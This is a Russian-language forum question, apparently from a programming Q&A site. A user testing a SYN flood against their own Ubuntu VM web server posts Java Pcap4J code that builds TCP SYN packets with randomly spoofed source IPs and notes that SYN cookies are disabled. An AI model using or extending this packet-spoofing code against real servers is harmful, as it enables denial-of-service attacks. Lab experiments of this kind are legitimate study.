В образовательных целях я пытаюсь выполнить SYN-атаку на виртуальной машине Ubuntu 18.04.Я включил режим моста в настройках своей виртуальной машины и настроил веб-сервер (10.0.0.10), к которому я могу подключиться на моем хост-компьютере (10.0.0.3) и наоборот с помощью ping.Пинг с хоста на сервер показывает трафик Wireshark на сервере (запрос и ответ), пинг с сервера на хост также показывает трафик Wireshark на сервере, но не на хосте, даже несмотря на то, что пакеты ping построены правильно.
Способ, которым я создаю свою атаку, состоит в том, чтобы генерировать случайные IP-адреса, создавать пакет TCP SYN и отправлять его на веб-сервер с моего хоста через порт 80 (открытый), который должен отправить пакет TCP SYN / ACK обратно (я использовал iptables для маршрутизацииобратно на мой хост-компьютер).
Если я создаю TCP-пакет через Pcap4J (библиотека Pcap для Java) и впоследствии отправляю его через обработчик, Я вижу, что он всплывает на хосте Wireshark.
Однако, если я проверяю Wireshark на моей виртуальной машине, пакеты не приходят.Обработчик не выдает ошибку, и программа завершается правильно, и поэтому я не уверен, как решить эту проблему.
Куда пропал пакет и что я могу сделать, чтобы исправить это?Мне нужны пакеты для доступа к виртуальной машине веб-сервера (и серверу для их отправки обратно).
Код:
Pcaphandle send_handle;
//nif_address is a constant of my ethernet connection defined in the file
try {
PcapNetworkInterface nif = Pcaps.getDevByAddress(nif_address);
if (nif == null) {
System.out.println("Networkinterface is null");
return;
}
// Open the device and get a send_handle
int snapshotLength = 65536; // in bytes
int readTimeout = 50; // in milliseconds
send_handle = nif.openLive(snapshotLength, PcapNetworkInterface.PromiscuousMode.PROMISCUOUS, readTimeout);
} catch (PcapNativeException e) {
System.out.println("Cannot bind NIF to variable from localhost");
e.printStackTrace();
return;
}
//Send packets, e.g. 1 packet by 5 different IPs
for (int i = 0; i < 5; i++) {
//generateIP() function not shown here, but is simply a randomizer and format to IP
InetAddress src_ip = generateIP();
Packet tcpPacket = constructSYNPacket(i, src_ip);
try {
send_handle.sendPacket(tcpPacket);
System.out.println(send_handle.getError());
} catch (PcapNativeException | NotOpenException e) {
e.printStackTrace();
}
}
private Packet constructSYNPacket(int packetNr, InetAddress src_address) {
TcpPacket.Builder tcpBuilder = new TcpPacket.Builder();
tcpBuilder
.syn(true)
.ack(false)
.rst(false)
.psh(false)
.urg(false)
.srcAddr(src_address)
.srcPort(TcpPort.getInstance((short) srcPort))
.dstAddr(dst_address)
.dstPort(TcpPort.getInstance((short) dstPort))
.correctLengthAtBuild(true)
.correctChecksumAtBuild(true)
.sequenceNumber(100000 + (packetNr*50));
IpV4Packet.Builder ipv4Builder = new IpV4Packet.Builder();
ipv4Builder
.srcAddr((Inet4Address)src_address)
.dstAddr((Inet4Address)dst_address)
.dontFragmentFlag(true)
.fragmentOffset((short)0)
.ihl((byte)5)
.correctLengthAtBuild(true)
.correctChecksumAtBuild(true)
.protocol(IpNumber.TCP)
.version(IpVersion.IPV4)
.tos((IpV4Packet.IpV4Tos) () -> (byte)0)
.ttl((byte)100)
.payloadBuilder(tcpBuilder);
EthernetPacket.Builder ethBuilder = new EthernetPacket.Builder();
ethBuilder
.srcAddr(nif_mac)
.dstAddr(dst_mac)
.type(EtherType.IPV4)
.payloadBuilder(ipv4Builder)
.paddingAtBuild(true);
Packet p = ethBuilder.build();
Примечание. Я уже отключил файлы cookie SYN в Ubuntu sysctl.